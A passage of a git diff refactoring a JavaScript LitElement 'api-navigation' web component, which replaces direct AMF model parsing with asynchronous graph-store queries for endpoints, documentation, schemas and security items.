- * @return {string} Name of the path to render.
- */
-export function computePathName(currentPath, parts, indent, basePaths) {
-  let path = '';
-  const latestBasePath = basePaths[basePaths.length - 1];
-  for (let i = 0, len = parts.length - 1; i < len; i++) {
-    path += `/${parts[i]}`;
-    if (!latestBasePath || latestBasePath.indexOf(`${path}/`) !== -1) {
-      indent--;
-    }
-    if (indent === 0) {
-      break;
-    }
-  }
-  return currentPath.replace(path, '');
-}
-
-/**
- * Computes condition value to render path label.
- * @param {boolean} allowPaths Component configuration property.
- * @param {boolean} renderPath Endpoint property
- * @return {boolean} True if both arguments are truly.
- */
-export function computeRenderPath(allowPaths, renderPath) {
-  return !!(allowPaths && renderPath);
-}
-
-/**
- * `api-navigation`
- * A navigation for an API spec using AMF model.
- *
- * This element is to replace deprecated `raml-path-selector`.
- * It is lightweight and much less complex in comparison.
- *
- * The element works with [AMF](https://github.com/mulesoft/amf)
- * json/ld model. When the model is set it computes list of documentation
- * nodes, types, endpoints, methods and security schemas.
- * As a result user can select any of the items in the UI and the application
- * is informed about user choice via custom event.
- *
- * The selection is a selected API shape `@id`. The application is responsible
- * for computing the model selected by the user.
- * 
- * Note, this element does not contain polyfills for Array platform features.
- * Use `arc-polyfills` to add support for IE and Safari 9.
- *
- * ## Passive navigation
- *
- * Passive navigation means that a navigation event occurred but it wasn't
- * invoked by intentional user interaction. For example
- * `api-endpoint-documentation` component renders list of documentations for
- * HTTP methods. While scrolling through the list navigation context
- * changes (user reads documentation of a method) but the navigation never
- * was caused by user intentional interaction.
- * This event, annotated with `passive: true` property in the detail object
- * prohibits other element from taking a navigation action but some
- * may reflect the change in the UI.
- */
-export default class ApiNavigationElement extends AmfHelperMixin(LitElement) {
-  static get properties() {
-    return {
-      /**
-       * A model `@id` of selected documentation part.
-       * Special case is for `summary` view. It's not part of an API
-       * but most applications has some kins of summary view for the
-       * API.
-       */
-      domainId: { type: String, reflect: true },
-      /**
-       * Type of the domain item.
-       * One of `documentation`, `schema`, `security`, `resource`, `operation`
-       * or `summary`.
-       *
-       * This property is set after `domainId` property.
-       */
-      domainType: { type: String, reflect: true },
-      /**
-       * If set it renders `API summary` menu option.
-       * It will allow to set `domainId` and `domainType` to `summary`
-       * when this option is set.
-       */
-      summary: { type: Boolean, reflect: true },
-      /**
-       * A label for the `summary` section.
-       */
-      summaryLabel: { type: String, reflect: true },
-      /**
-       * Determines and changes state of documentation panel.
-       */
-      docsOpened: { type: Boolean, reflect: true },
-      
-      /**
-       * Determines and changes state of types panel.
-       */
-      typesOpened: { type: Boolean, reflect: true },
-      /**
-       * Determines and changes state of security panel.
-       */
-      securityOpened: { type: Boolean, reflect: true },
-      /**
-       * Determines and changes state of endpoints panel.
-       */
-      endpointsOpened: { type: Boolean, reflect: true },
-      /**
-       * If true, the element will not produce a ripple effect when interacted with via the pointer.
-       */
-      noink: { type: Boolean, reflect: true },
-      /**
-       * Filters list elements by this value when set.
-       * Clear the value to reset the search.
-       *
-       * This is not currently exposed in element's UI due
-       * to complexity of search and performance.
-       */
-      query: { type: String, reflect: true },
-      /**
-       * Size of endpoint indentation for nested resources.
-       * In pixels.
-       *
-       * The attribute name for this property is `indent-size`. Note, that this
-       * will change to web consistent name `indentSize` in the future.
-       */
-      indentSize: { type: Number, reflect: true },
-      /**
-       * When set it renders full path below endpoint name if the endpoint has
-       * a name (different than the path).
-       * This is not always recommended to use this option as some complex APIs
-       * may render this component difficult to understand.
-       */
-      allowPaths: { type: Boolean },
-      /**
-       * If this value is set, then the navigation component will sort the list
-       * of endpoints alphabetically based on the `path` value of the endpoint
-       */
-      rearrangeEndpoints: { type: Boolean },
-      /**
-       * Enables Anypoint platform styles.
-       */
-      anypoint: { type: Boolean },
-      /**
-       * Determines and changes state of endpoints.
-       */
-      operationsOpened: { type: Boolean, reflect: true },
-      /**
-       * No overview as a separated node. 
-       * Overview can be seen by clicking the endpoint label.
-       */
-      noOverview: { type: Boolean },
-      /**
-       * When set, avoids truncating and indentation of endpoint paths.
-       * Instead, the full path for each endpoint will be rendered.
-       */
-      renderFullPaths: { type: Boolean },
-    };
-  }
-
-  get styles() {
+export const keyArrowRightAction = Symbol('keyArrowRightAction');
+export const keyArrowLeftAction = Symbol('keyArrowLeftAction');
+export const makeSelection = Symbol('makeSelection');
+export const selectItem = Symbol('selectItem');
+export const deselectItem = Symbol('deselectItem');
+export const findSelectable = Symbol('findSelectable');
+export const toggleSectionElement = Symbol('toggleSectionElement');
+export const summarySelected = Symbol('summarySelected');
+export const filterTemplate = Symbol('filterTemplate');
+export const processQuery = Symbol('processQuery');
+export const searchHandler = Symbol('searchHandler');
+export const resetTabindices = Symbol('resetTabindices');
+export const notifyNavigation = Symbol('notifyNavigation');
+export const addingEndpointValue = Symbol('addingEndpointValue');
+export const addEndpointInputTemplate = Symbol('addEndpointInputTemplate');
+export const addEndpointKeydownHandler = Symbol('addEndpointKeydownHandler');
+export const commitNewEndpoint = Symbol('commitNewEndpoint');
+export const cancelNewEndpoint = Symbol('cancelNewEndpoint');
+export const findViewModelItem = Symbol('findViewModelItem');
+export const renameInputTemplate = Symbol('renameInputTemplate');
+export const renameKeydownHandler = Symbol('renameKeydownHandler');
+export const renameBlurHandler = Symbol('renameBlurHandler');
+export const updateNameHandler = Symbol('updateNameHandler');
+export const addDocumentationInputTemplate = Symbol('addDocumentationInputTemplate');
+export const addDocumentationKeydownHandler = Symbol('addDocumentationKeydownHandler');
+export const addingDocumentationValue = Symbol('addingDocumentationValue');
+export const addingExternalValue = Symbol('addingExternalValue');
+export const commitNewDocumentation = Symbol('commitNewDocumentation');
+export const externalDocumentationHandler = Symbol('externalDocumentationHandler');
+export const addingSchemaValue = Symbol('addingSchemaValue');
+export const addSchemaInputTemplate = Symbol('addSchemaInputTemplate');
+export const addSchemaKeydownHandler = Symbol('addSchemaKeydownHandler');
+export const commitNewSchema = Symbol('commitNewSchema');
+export const addingSchemaTypeValue = Symbol('addingSchemaTypeValue');
+export const graphChangeHandler = Symbol('graphChangeHandler');
+export const documentMetaValue = Symbol('documentMetaValue');
+
+export default class ApiNavigationElement extends EventsTargetMixin(LitElement) {
+  static get styles() {
     return [navStyles, HttpStyles.default];
   }
 
-  /** @returns {string} */
-  get domainId() {
-    return this[domainIdValue];
-  }
-
-  /** @param {string} value */
-  set domainId(value) {
-    const old = this[domainIdValue];
-    /* istanbul ignore if */
-    if (old === value) {
-      return;
-    }
-    this[domainIdValue] = value;
-    this.requestUpdate('domainId', old);
-    this[selectedChanged](value);
-    this[selectionChanged](value, this.domainType);
+  /** 
+   * @returns {boolean} When true then the element is currently querying for the graph data.
+   */
+  get querying() {
+    return this[queryingValue] || false;
   }
 
-  /** @returns {SelectionType} */
-  get domainType() {
-    return this[domainTypeValue];
+  /**
+   * @returns {AbortController|undefined} Set only when `querying`. Use to abort the query operation.
+   * When calling `abort` on the controller the element stops querying and processing the graph data.
+   * All data that already has been processed are not cleared.
+   */
+  get abortController() {
+    return this[abortControllerValue];
   }
 
-  /** @param {SelectionType} value */
-  set domainType(value) {
-    const old = this[domainTypeValue];
-    /* istanbul ignore if */
-    if (old === value) {
-      return;
-    }
-    this[domainTypeValue] = value;
-    this.requestUpdate('domainType', old);
-    this[selectionChanged](this.domainId, value);
+  /** 
+   * @returns {string|undefined} The current selected domain id.
+   */
+  get selected() {
+    return this[selectedValue];
   }
 
-  /** @param {boolean} value */
-  set operationsOpened(value) {
-    const old = this[operationsOpened];
-    /* istanbul ignore if */
+  /** 
+   * @returns {string|undefined} The domain id that is currently being selected.
+   */
+  set selected(value) {
+    const old = this[selectedValue];
     if (old === value) {
       return;
     }
-    this[operationsOpened] = value;
-
-    if (value === undefined) {
-      return;
-    }
-
-    this[updatedOpenedOperations] = !value;
-    if (!value) {
-      this[openedOperationsValue] = /** @type string[] */ ([]);
-    } else {
-      this[addOpenedOperations](this[endpointsValue]);
-    }
-  }
-
-  /** @returns {boolean} */
-  get operationsOpened() {
-    return this[operationsOpened];
+    this[selectedValue] = value;
+    this.requestUpdate('selected', old);
   }
 
   /**
-   * @return {boolean} true when `[docsValue]` property is set with values
+   * @return {Boolean} true when `_docs` property is set with values
    */
   get hasDocs() {
-    const items = this[docsValue];
-    return Array.isArray(items) && !!items.length;
+    const docs = this[documentationsValue];
+    return Array.isArray(docs) && !!docs.length;
   }
 
   /**
-   * @return {boolean} true when `[typesValue]` property is set with values
+   * @return {Boolean} true when has schemas definitions
    */
-  get hasTypes() {
-    const items = this[typesValue];
+  get hasSchemas() {
+    const items = this[schemasValue];
     return Array.isArray(items) && !!items.length;
   }
 
   /**
-   * @return {boolean} true when `[securityValue]` property is set with values
+   * @return {Boolean} true when `_security` property is set with values
    */
   get hasSecurity() {
     const items = this[securityValue];
@@ -402,7 +193,7 @@ export default class ApiNavigationElement extends AmfHelperMixin(LitElement) {
   }
 
   /**
-   * @return {boolean} true when `[endpointsValue]` property is set with values
+   * @return {Boolean} true when `_endpoints` property is set with values
    */
   get hasEndpoints() {
     const items = this[endpointsValue];
@@ -410,32 +201,7 @@ export default class ApiNavigationElement extends AmfHelperMixin(LitElement) {
   }
 
   /**
-   * @return {boolean} True when summary should be rendered.
-   * Summary should be rendered only when `summary` is set and
-   * current model is not a RAML fragment.
-   */
-  get summaryRendered() {
-    const { summary } = this;
-    return !!(summary && !this[isFragmentValue]);
-  }
-
-  get query() {
-    return this[queryValue2];
-  }
-
-  set query(value) {
-    const old = this[queryValue2];
-    /* istanbul ignore if */
-    if (old === value) {
-      return;
-    }
-    this[queryValue2] = value;
-    this.requestUpdate('query', old);
-    this[queryChanged]();
-  }
-
-  /**
-   * @return {HTMLElement=} A reference to currently selected node.
+   * @return {HTMLElement=} A reference to currently selected element.
    */
   get selectedItem() {
     return this[selectedItemValue];
@@ -445,126 +211,171 @@ export default class ApiNavigationElement extends AmfHelperMixin(LitElement) {
    * @return {HTMLElement=} The currently focused item.
    */
   get focusedItem() {
-    return this[focusedItemPrivate];
-  }
-
-  get [focusedItemPrivate]() {
     return this[focusedItemValue];
   }
 
-  set [focusedItemPrivate](value) {
-    const old = this[focusedItemValue];
-    /* istanbul ignore if */
-    if (old === value) {
-      return;
-    }
-    this[focusedItemValue] = value;
-    focusedItemChanged(value, old);
-  }
-
-  /** @returns {boolean} */
-  get noOverview() {
-    return this[noOverviewValue];
-  }
-
-  /** @param {boolean} value */
-  set noOverview(value) {
-    const old = this[noOverviewValue];
-    if (old === value) {
-      return;
-    }
-    this[noOverviewValue] = value;
-    this.requestUpdate('noOverview', old);
-    this[itemsValue] = null;
+  get query() {
+    return this[queryValue];
   }
 
-  /** @param {boolean} value */
-  set rearrangeEndpoints(value) {
-    const old = this[rearrangeEndpointsValue];
+  set query(value) {
+    const old = this[queryValue];
     if (old === value) {
       return;
     }
-    this[rearrangeEndpointsValue] = value;
-    this.requestUpdate('rearrangeEndpoints', old);
-    this.__amfChanged(this.amf);
-  }
-
-  /** @returns {boolean} */
-  get rearrangeEndpoints() {
-    return this[rearrangeEndpointsValue];
+    this[queryValue] = value;
+    this[processQuery](value);
+    this.requestUpdate('query', old);
   }
 
-  /** @param {boolean} value */
-  set renderFullPaths(value) {
-    const old = this[renderFullPathsValue];
-    if (old === value) {
-      return;
-    }
-    this[renderFullPathsValue] = value;
-    this.requestUpdate('renderFullPaths', old);
-    this.__amfChanged(this.amf);
+  /** @type DocumentMeta */
+  get documentMeta() {
+    return this[documentMetaValue];
   }
 
-  /** @returns {boolean} */
-  get renderFullPaths() {
-    return this[renderFullPathsValue];
+  static get properties() {
+    return {
+      /** 
+       * When this property change the element queries the graph store for the data model.
+       * It can be skipped when the application calls the `queryGraph()` method imperatively.
+       */
+      apiId: { type: String, reflect: true, },
+      /**
+       * A model `@id` of selected documentation part.
+       * Special case is for `summary` view. It's not part of an API
+       * but most applications has some kins of summary view for the
+       * API.
+       */
+      selected: { type: String, reflect: true },
+      /**
+        * Type of the selected item.
+        * One of `documentation`, `type`, `security`, `endpoint`, `operation`
+        * or `summary`.
+        *
+        * This property is set after `selected` property.
+        */
+      selectedType: { type: String, reflect: true },
+      /**
+        * If set it renders `API summary` menu option.
+        * It will allow to set `selected` and `selectedType` to `summary`
+        * when this option is set.
+        */
+      summary: { type: Boolean, reflect: true },
+      /**
+        * A label for the `summary` section.
+        */
+      summaryLabel: { type: String, reflect: true },
+      /**
+       * Determines and changes state of documentation panel.
+       */
+      documentationsOpened: { type: Boolean, reflect: true },
+      /**
+       * Determines and changes state of schemas (types) panel.
+       */
+      schemasOpened: { type: Boolean, reflect: true },
+      /**
+       * Determines and changes state of security panel.
+       */
+      securityOpened: { type: Boolean, reflect: true },
+      /**
+       * Determines and changes state of endpoints panel.
+       */
+      endpointsOpened: { type: Boolean, reflect: true },
+      /**
+       * Filters list elements by this value when set.
+       * Clear the value to reset the search.
+       *
+       * This is not currently exposed in element's UI due
+       * to complexity of search and performance.
+       */
+      query: { type: String },
+      /**
+       * Size of endpoint indentation for nested resources.
+       * In pixels.
+       *
+       * The attribute name for this property is `indent-size`. Note, that this
+       * will change to web consistent name `indentSize` in the future.
+       */
+      indentSize: { type: Number, reflect: true, },
+      /** 
+       * By default the endpoints are rendered one-by-one as defined in the API spec file
+       * without any tree structure. When this option is set it sorts the endpoints 
+       * alphabetically and creates a tree structure for the endpoints.
+       * Note, the resulted tree structure will likely be different to the one encoded 
+       * in the API spec file.
+       */
+      sort: { type: Boolean, reflect: true, },
+      /** 
+       * When set it renders an input to filter the menu items.
+       */
+      filter: { type: Boolean, reflect: true, },
+      /** 
+       * When set the element won't query the store when attached to the DOM.
+       * Instead set the `apiId` property or directly call the `queryGraph()` function.
+       */
+      manualQuery: { type: Boolean, reflect: true, },
+      /** 
+       * When set it enables graph items editing functionality.
+       * The user can double-click on a menu item and edit its name.
+       */
+      edit: { type: Boolean, reflect: true, },
+    };
   }
 
   constructor() {
     super();
 
     this.summaryLabel = 'Summary';
-    /**
-     * Flag set when passed AMF model is a RAML fragment.
-     * @type boolean
-     */
-    this[isFragmentValue] = false;
     this.summary = false;
-    this.noink = false;
-    this.allowPaths = false;
     this.anypoint = false;
-    this.rearrangeEndpoints = false;
+    this.sort = false;
     this.indentSize = 8;
-    /**
-     * @type HTMLElement
-     */
-    this[selectedItemValue] = null;
-    /**
-     * List of opened operation ids
-     * @type {string[]}
+    this.endpointsOpened = false;
+    this.documentationsOpened = false;
+    this.schemasOpened = false;
+    this.securityOpened = false;
+    this.customPropertiesOpened = false;
+    this.filter = false;
+    this.edit = false;
+    this.manualQuery = false;
+
+    /** 
+     * @type {EndpointItem[]}
      */
-    this[openedOperationsValue] = [];
-    this[updatedOpenedOperations] = true;
-    this.noOverview = false;
-    this.renderFullPaths = false;
-    /** @type {string} */
-    this[queryValue] = undefined;
-    /**
-     * Computed list of documentation items in the API.
+    this[endpointsValue] = undefined;
+    /** 
      * @type {DocumentationItem[]}
      */
-    this[docsValue] = undefined;
-    /**
-     * Computed list of "type" items in the API.
-     * @type {TypeItem[]}
+    this[documentationsValue] = undefined;
+    /** 
+     * @type {NodeShapeItem[]}
      */
-    this[typesValue] = undefined;
-    /**
-     * Computed list of Security schemes items in the API.
+    this[schemasValue] = undefined;
+    /** 
      * @type {SecurityItem[]}
      */
     this[securityValue] = undefined;
-    /**
-     * Computed list of endpoint items in the API.
-     * @type {EndpointItem[]}
+    /** 
+     * The processed and final query term for the list items.
+     * @type {string}
+     */
+    this[queryValue] = undefined;
+    /** 
+     * Holds a list of ids of currently opened endpoints.
+     * @type {string[]}
+     */
+    this[openedEndpointsValue] = [];
+    /** 
+     * Cached list of all list elements
+     * @type {HTMLElement[]}
      */
-    this[endpointsValue] = undefined;
-    /** @type {Element[]} */
     this[itemsValue] = undefined;
+    /** @type DocumentMeta */
+    this[documentMetaValue] = undefined;
 
-    this[navigationHandler] = this[navigationHandler].bind(this);
     this[focusHandler] = this[focusHandler].bind(this);
     this[keydownHandler] = this[keydownHandler].bind(this);
+    this[graphChangeHandler] = this[graphChangeHandler].bind(this);
   }
 
   /**
@@ -573,1072 +384,984 @@ export default class ApiNavigationElement extends AmfHelperMixin(LitElement) {
    */
   connectedCallback() {
     super.connectedCallback();
-    // @ts-ignore
-    if (window.ShadyCSS) {
-      // @ts-ignore
-      window.ShadyCSS.styleElement(this);
-    }
-    // Pawel: This role requires children to be present in the DOM, but in this case none is rendered
-    // in the light DOM but rather in the shadow DOM. Therefore the element cannot have this role.
-    // if (!this.getAttribute('role')) {
-    //   this.setAttribute('role', 'menubar');
-    // }
     if (!this.getAttribute('aria-label')) {
-      this.setAttribute('aria-label', 'API structure');
+      this.setAttribute('aria-label', 'API navigation');
     }
     if (!this.getAttribute('tabindex')) {
       this.setAttribute('tabindex', '0');
     }
-    window.addEventListener(EventTypes.Navigation.apiNavigate, this[navigationHandler]);
     this.addEventListener('focus', this[focusHandler]);
     this.addEventListener('keydown', this[keydownHandler]);
-
-    this[resetTabindices]();
+    if (!this.manualQuery) {
+      this.queryGraph();
+    }
   }
 
   disconnectedCallback() {
     super.disconnectedCallback();
-    window.removeEventListener(EventTypes.Navigation.apiNavigate, this[navigationHandler]);
     this.removeEventListener('focus', this[focusHandler]);
     this.removeEventListener('keydown', this[keydownHandler]);
-    this[itemsValue] = null;
+    this[itemsValue] = undefined;
   }
 
   /**
-   * @param {EndpointItem[]} endpoints 
+   * @param {EventTarget} node
    */
-  [addOpenedOperations](endpoints) {
-    if (!this[updatedOpenedOperations] && endpoints) {
-      this[openedOperationsValue] = endpoints.map(e => e.id);
-      this[updatedOpenedOperations] = true;
-    }
+  _attachListeners(node) {
+    super._attachListeners(node);
+    node.addEventListener(EventTypes.Store.graphChange, this[graphChangeHandler]);
   }
 
   /**
-   * Overrides `AmfHelperMixin.__amfChanged()`
-   * @param {AmfDocument} api AMF model
-   * @override
+   * @param {EventTarget} node
    */
-  __amfChanged(api) {
-    if (!api) {
-      return;
-    }
-    let model = api;
-    if (Array.isArray(model)) {
-      [model] = model;
-    }
-    let data = {};
-    let isFragment = true;
-    this[itemsValue] = null;
-
-    const { vocabularies } = this.ns.aml;
-    const moduleKey = this._getAmfKey(vocabularies.document.Module);
-    if (this._hasType(model, vocabularies.document.Document)) {
-      isFragment = false;
-      model = this._ensureAmfModel(model);
-      data = this[collectData](model);
-    } else if (this._hasType(model, vocabularies.security.SecuritySchemeFragment) ) {
-      data = this[collectSecurityData](model);
-      this.securityOpened = true;
-    } else if (this._hasType(model, vocabularies.apiContract.UserDocumentationFragment)) {
-      data = this[collectDocumentationData](model);
-      this.docsOpened = true;
-    } else if (this._hasType(model, vocabularies.shapes.DataTypeFragment)) {
-      data = this[collectTypeData](model);
-      this.typesOpened = true;
-    } else if (model['@type'] && moduleKey === model['@type'][0]) {
-      data = this[collectData](model);
-    }
-    if (this[isFragmentValue] !== isFragment) {
-      this[isFragmentValue] = isFragment;
-    }
-    this[docsValue] = data.documentation;
-    this[typesValue] = data.types;
-    this[securityValue] = data.securitySchemes;
-    this[endpointsValue] = data.endpoints;
-    this.requestUpdate();
-    this[closeCollapses]();
-    setTimeout(() => {
-      this[selectedChanged](this.domainId);
-      this[resetTabindices]();
-      this[addOpenedOperations](data.endpoints)
-    });
+  _detachListeners(node) {
+    super._detachListeners(node);
+    node.removeEventListener(EventTypes.Store.graphChange, this[graphChangeHandler]);
   }
 
   /**
-   * Collects the information about the API and creates data model
-   * for the navigation element
-   *
-   * @param {AmfDocument} model
-   * @return {TargetModel} Data model for the API navigation
-   */
-  [collectData](model) {
-    const result = {
-      documentation: [],
-      types: [],
-      securitySchemes: [],
-      endpoints: [],
-    };
-    if (!model) {
-      return result;
-    }
-    result._typeIds = [];
-    result._basePaths = [];
-    this[traverseDeclarations](model, result);
-    this[traverseReferences](model, result);
-    this[traverseEncodes](model, result);
-    delete result._typeIds;
-    delete result._basePaths;
-    return result;
+   * Handler for the event dispatched by the store when the graph model change.
+   */
+  [graphChangeHandler]() {
+    this.queryGraph();
   }
 
   /**
-   * Collects the data from the security fragment
-   * @param {AmfDocument} model Security fragment model
-   * @return {TargetModel|undefined}
+   * Queries for the API data from the graph store.
    */
-  [collectSecurityData](model) {
-    const result = {
-      securitySchemes: [],
-    };
-    const encodes = this._computeEncodes(model);
-    if (!encodes) {
-      return undefined;
+  async queryGraph() {
+    if (this.querying) {
+      return;
     }
-    this[appendSecurityItem](encodes, result);
-    return result;
+    this[queryingValue] = true;
+    this[itemsValue] = undefined;
+    const ctrl = new AbortController();
+    this[abortControllerValue] = ctrl;
+    await this[queryApi](ctrl.signal);
+    await this[queryEndpoints](ctrl.signal);
+    await this[queryDocumentations](ctrl.signal);
+    await this[querySchemas](ctrl.signal);
+    await this[querySecurity](ctrl.signal);
+    this[queryingValue] = false;
+    this[abortControllerValue] = undefined;
+    this[openedEndpointsValue] = [];
+    await this.requestUpdate();
+    this[resetTabindices]();
+    this.dispatchEvent(new Event('graphload'));
   }
 
   /**
-   * Collects the data from the documentation fragment
-   * @param {AmfDocument} model Documentation fragment model
-   * @return {TargetModel|undefined}
+   * Queries for the current API base info.
+   * @param {AbortSignal} signal
    */
-  [collectDocumentationData](model) {
-    const result = {
-      documentation: [],
-    };
-    const encodes = this._computeEncodes(model);
-    if (!encodes) {
-      return undefined;
+  async [queryApi](signal) {
+    this[documentMetaValue] = undefined;
+    try {
+      const info = await Events.Api.documentMeta(this);
+      if (signal.aborted) {
+        return;
+      }
+      this[documentMetaValue] = info;
+    } catch (e) {
+      Events.Telemetry.exception(this, e.message, false);
+      Events.Reporting.error(this, e, `Enable to query for API data: ${e.message}`, this.localName);
     }
-    this[appendDocumentationItem](encodes, result);
-    return result;
   }
 
   /**
-   * Collects the data from the type fragment
-   * @param {AmfDocument} model Type fragment model
-   * @return {TargetModel|undefined}
+   * Queries and sets endpoints data
+   * @param {AbortSignal} signal
    */
-  [collectTypeData](model) {
-    const result = {
-      types: [],
-      _typeIds: [],
-    };
-    const encodes = this._computeEncodes(model);
-    if (!encodes) {
-      return undefined;
+  async [queryEndpoints](signal) {
+    if (signal.aborted) {
+      return;
+    }
+    const { sort } = this;
+    this[endpointsValue] = undefined;
+    try {
+      const result = await Events.Endpoint.list(this);
+      if (signal.aborted) {
+        return;
+      }
+      if (!result) {
+        return;
+      }
+      if (sort) {
+        const sorted = ApiSorting.sortEndpointsByPath(result);
+        const items = new EndpointsTree().create(sorted);
+        this[endpointsValue] = items;
+      } else {
+        this[endpointsValue] = this[createFlatTreeItems](result);
+      }
+    } catch (e) {
+      Events.Telemetry.exception(this, e.message, false);
+      Events.Reporting.error(this, e, `Enable to query for Endpoints data: ${e.message}`, this.localName);
     }
-    this[appendTypeItem](encodes, result);
-    delete result._typeIds;
-    return result;
   }
 
   /**
-   * Traverses the `http://raml.org/vocabularies/document#declares`
-   * node to find types and security schemes.
-   *
-   * @param {object} model AMF model
-   * @param {TargetModel} target Target object where to put data.
+   * Queries and sets documentations data
+   * @param {AbortSignal} signal
    */
-  [traverseDeclarations](model, target) {
-    const declares = this._computeDeclares(model);
-    if (!declares) {
+  async [queryDocumentations](signal) {
+    this[documentationsValue] = undefined;
+    if (signal.aborted) {
       return;
     }
-    declares.forEach(item => this[appendModelItem](item, target));
+    try {
+      const result = await Events.Documentation.list(this);
+      if (signal.aborted) {
+        return;
+      }
+      this[documentationsValue] = result;
+    } catch (e) {
+      Events.Telemetry.exception(this, e.message, false);
+      Events.Reporting.error(this, e, `Enable to query for Documents data: ${e.message}`, this.localName);
+    }
   }
 
   /**
-   * Traverses the `http://raml.org/vocabularies/document#references`
-   *
-   * @param {object} model AMF model
-   * @param {TargetModel} target Target object where to put data.
+   * Queries and sets types (schemas) data
+   * @param {AbortSignal} signal
    */
-  [traverseReferences](model, target) {
-    const refs = this._computeReferences(model);
-    if (!refs) {
+  async [querySchemas](signal) {
+    this[schemasValue] = undefined;
+    if (signal.aborted) {
       return;
     }
-    refs.forEach((item) => {
-      if (!this._hasType(item, this.ns.aml.vocabularies.document.Module)) {
+    try {
+      const result = await Events.Type.list(this);
+      if (signal.aborted) {
         return;
       }
-      this[traverseDeclarations](item, target);
-    });
+      this[schemasValue] = result;
+    } catch (e) {
+      Events.Telemetry.exception(this, e.message, false);
+      Events.Reporting.error(this, e, `Enable to query for Schemas data: ${e.message}`, this.localName);
+    }
   }
 
   /**
-   * Traverses the `http://raml.org/vocabularies/document#encodes`
-   * node to find documentation and endpoints.
-   *
-   * @param {object} model AMF model
-   * @param {TargetModel} target Target object where to put data.
+   * Queries and sets security data
+   * @param {AbortSignal} signal
    */
-  [traverseEncodes](model, target) {
-    const data = this._computeApi(model);
-    if (!data) {
+  async [querySecurity](signal) {
+    this[securityValue] = undefined;
+    if (signal.aborted) {
       return;
     }
-    const eKey = this._getAmfKey(this.ns.aml.vocabularies.apiContract.endpoint);
-    let endpoint = /** @type EndPoint[] */ (this._ensureArray(data[eKey]));
-    if (this.rearrangeEndpoints) {
-      endpoint = this[rearrangeEndpoints](endpoint);
-    }
-    if (endpoint) {
-      endpoint.forEach(item => this[appendModelItem](item, target));
-    }
-    const dKey = this._getAmfKey(this.ns.aml.vocabularies.core.documentation);
-    const documentation = this._ensureArray(data[dKey]);
-    if (documentation) {
-      documentation.forEach(item => this[appendModelItem](item, target));
+    try {
+      const result = await Events.Security.list(this);
+      if (signal.aborted) {
+        return;
+      }
+      this[securityValue] = result;
+    } catch (e) {
+      Events.Telemetry.exception(this, e.message, false);
+      Events.Reporting.error(this, e, `Enable to query for Security data: ${e.message}`, this.localName);
     }
   }
 
   /**
-   * Sort endpoints alphabetically based on path
-   * @param {EndPoint[]} endpoints
-   * @return {EndPoint[]}
+   * @param {ApiEndPointWithOperationsListItem[]} items
+   * @returns {EndpointItem[]} 
    */
-  [rearrangeEndpoints](endpoints) {
-    if (!endpoints) {
-      return null;
+  [createFlatTreeItems](items) {
+    if (!Array.isArray(items) || !items.length) {
+      return [];
     }
-    const pathKey = this._getAmfKey(this.ns.aml.vocabularies.apiContract.path);
-    return [...endpoints].sort((a,b) => {
-      const pathA = this._getValue(a, pathKey);
-      const pathB = this._getValue(b, pathKey);
+    return items.map((endpoint) => ({
+      ...endpoint,
+      indent: 0,
+      label: endpoint.name || endpoint.path,
+      selected: false,
+      secondarySelected: false,
+    }));
+  }
 
-      if (pathA < pathB){
-        return -1;
+  /**
+   * Filters the current endpoints by the current query value.
+   * @returns {EndpointItem[]|undefined} 
+   */
+  [getFilteredEndpoints]() {
+    const value = this[endpointsValue];
+    if (!value || !value.length) {
+      return undefined;
+    }
+    const q = this[queryValue];
+    if (!q) {
+      return value;
+    }
+    const result = [];
+    value.forEach((endpoint) => {
+      const { path, label, operations=[] } = endpoint;
+      const lPath = path.toLowerCase();
+      const lLabel = label.toLowerCase();
+      // If the endpoint's path or label matches the query include whole item
+      if (lPath.includes(q) || lLabel.includes(q)) {
+        result[result.length] = endpoint;
+        return;
       }
-
-      if (pathA > pathB){
-        return 1;
+      // otherwise check all operations and only include matched operations. If none match
+      // then do not include the endpoint.
+      const ops = operations.filter((op) => op.method.toLowerCase().includes(q) || (op.name || '').toLowerCase().includes(q));
+      if (ops.length) {
+        const copy = { ...endpoint };
+        copy.operations = ops;
+        result[result.length] = copy;
       }
-
-      return 0;
     });
+    return result;
   }
 
   /**
-   * Appends declaration of navigation data model to the target if
-   * it matches documentation or security types.
+   * Computes `style` attribute value for endpoint item.
+   * It sets padding-left property to indent resources.
+   * See https://github.com/mulesoft/api-console/issues/571.
    *
-   * @param {Object} item AMF model item to check for data.
-   * @param {TargetModel} target The target to which append values.
+   * @param {number} indent The computed indentation of the item.
+   * @return {string} The value for the left padding of the endpoint menu item.
    */
-  [appendModelItem](item, target) {
-    if (this._hasType(item, this.ns.w3.shacl.Shape)) {
-      this[appendTypeItem](item, target);
-    } else if (
-      this._hasType(item, this.ns.aml.vocabularies.security.SecurityScheme)
-    ) {
-      this[appendSecurityItem](item, target);
-    } else if (
-      this._hasType(item, this.ns.aml.vocabularies.core.CreativeWork)
-    ) {
-      this[appendDocumentationItem](item, target);
-    } else if (
-      this._hasType(item, this.ns.aml.vocabularies.apiContract.EndPoint)
-    ) {
-      this[appendEndpointItem](item, target);
+  [computeEndpointPaddingValue](indent=0) {
+    const padding = this[computeEndpointPaddingLeft]();
+    if (indent < 1) {
+      return `${padding}px`;
     }
+    const result = indent * this.indentSize + padding;
+    return `${result}px`;
   }
 
   /**
-   * Appends "type" item to the results.
-   *
-   * @param {Object} item Type item declaration
-   * @param {TargetModel} target
+   * Computes endpoint list item left padding from CSS variables.
+   * @return {number}
    */
-  [appendTypeItem](item, target) {
-    const w3name = /** @type string */ (this._getValue(item, this.ns.w3.shacl.name));
-    if (w3name && w3name.indexOf('amf_inline_type') === 0) {
-      // https://www.mulesoft.org/jira/browse/APIMF-972
-      return;
+  [computeEndpointPaddingLeft]() {
+    const prop = '--api-navigation-list-item-padding';
+    const defaultPadding = 16;
+    const padding = getComputedStyle(this).getPropertyValue(prop);
+    if (!padding) {
+      return defaultPadding;
     }
-    let name = /** @type string */ (this._getValue(item, this.ns.aml.vocabularies.core.name));
-    if (!name && w3name) {
-      name = w3name;
-    } else if (!name) {
-      return;
+    const parts = padding.split(' ');
+    let paddingLeftValue;
+    switch (parts.length) {
+      case 1:
+        paddingLeftValue = parts[0];
+        break;
+      case 2:
+        paddingLeftValue = parts[1];
+        break;
+      case 3:
+        paddingLeftValue = parts[1];
+        break;
+      case 4:
+        paddingLeftValue = parts[3];
+        break;
+      default:
+        return defaultPadding;
     }
-    const id = item['@id'];
-    if (!id) {
-      return;
+    if (!paddingLeftValue) {
+      return defaultPadding;
     }
-    const rfIdKey = this._getAmfKey(this.ns.aml.vocabularies.document.referenceId);
